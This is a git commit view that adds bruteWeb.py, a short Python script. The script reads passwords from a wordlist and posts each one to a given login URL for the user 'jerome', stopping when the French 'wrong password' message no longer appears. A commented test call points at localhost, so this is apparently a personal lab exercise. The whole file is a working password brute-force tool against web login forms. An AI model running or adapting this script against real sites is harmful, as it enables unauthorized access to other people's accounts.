summaryrefslogtreecommitdiff
path: root/bruteWeb.py
diff options
context:
space:
mode:
authorjerome <jerome@xlinfo.fr>2023-12-27 17:47:12 +0100
committerjerome <jerome@xlinfo.fr>2023-12-27 17:47:12 +0100
commit67c94bcdabad901f1e690d373d30417847f8009c (patch)
tree9944b962a5077ca917f85ae47651134d29681754 /bruteWeb.py
parent13f1f7fa8036c9030ad48c10bfe58a2099ce82af (diff)
downloadpython-67c94bcdabad901f1e690d373d30417847f8009c.tar.gz
python-67c94bcdabad901f1e690d373d30417847f8009c.zip
ajouts
Diffstat (limited to 'bruteWeb.py')
-rw-r--r--bruteWeb.py27
1 files changed, 27 insertions, 0 deletions
diff --git a/bruteWeb.py b/bruteWeb.py
new file mode 100644
index 0000000..541e673
--- /dev/null
+++ b/bruteWeb.py
@@ -0,0 +1,27 @@
+import sys
+import requests
+
+def bruteforce(url,username,password):
+ reponse=requests.post(url=url,data={
+ "username":username,
+ "password":password
+ })
+ #print(reponse.text)
+ if "Mauvais mot de passe" in reponse.text:
+ #print("mauvais pwd")
+ return False
+ else:
+ print(f"Trouvé password \"{password}\"")
+ return True
+
+if __name__ == "__main__":
+ url = sys.argv[1]
+ dico = sys.argv[2]
+ with open(dico, 'r') as wordlist:
+ for password in wordlist.readlines():
+ password=password.strip()
+ if bruteforce(url,"jerome",password)==True:
+ sys.exit()
+
+#bruteforce("http://localhost/page.php","jerome","secret")
+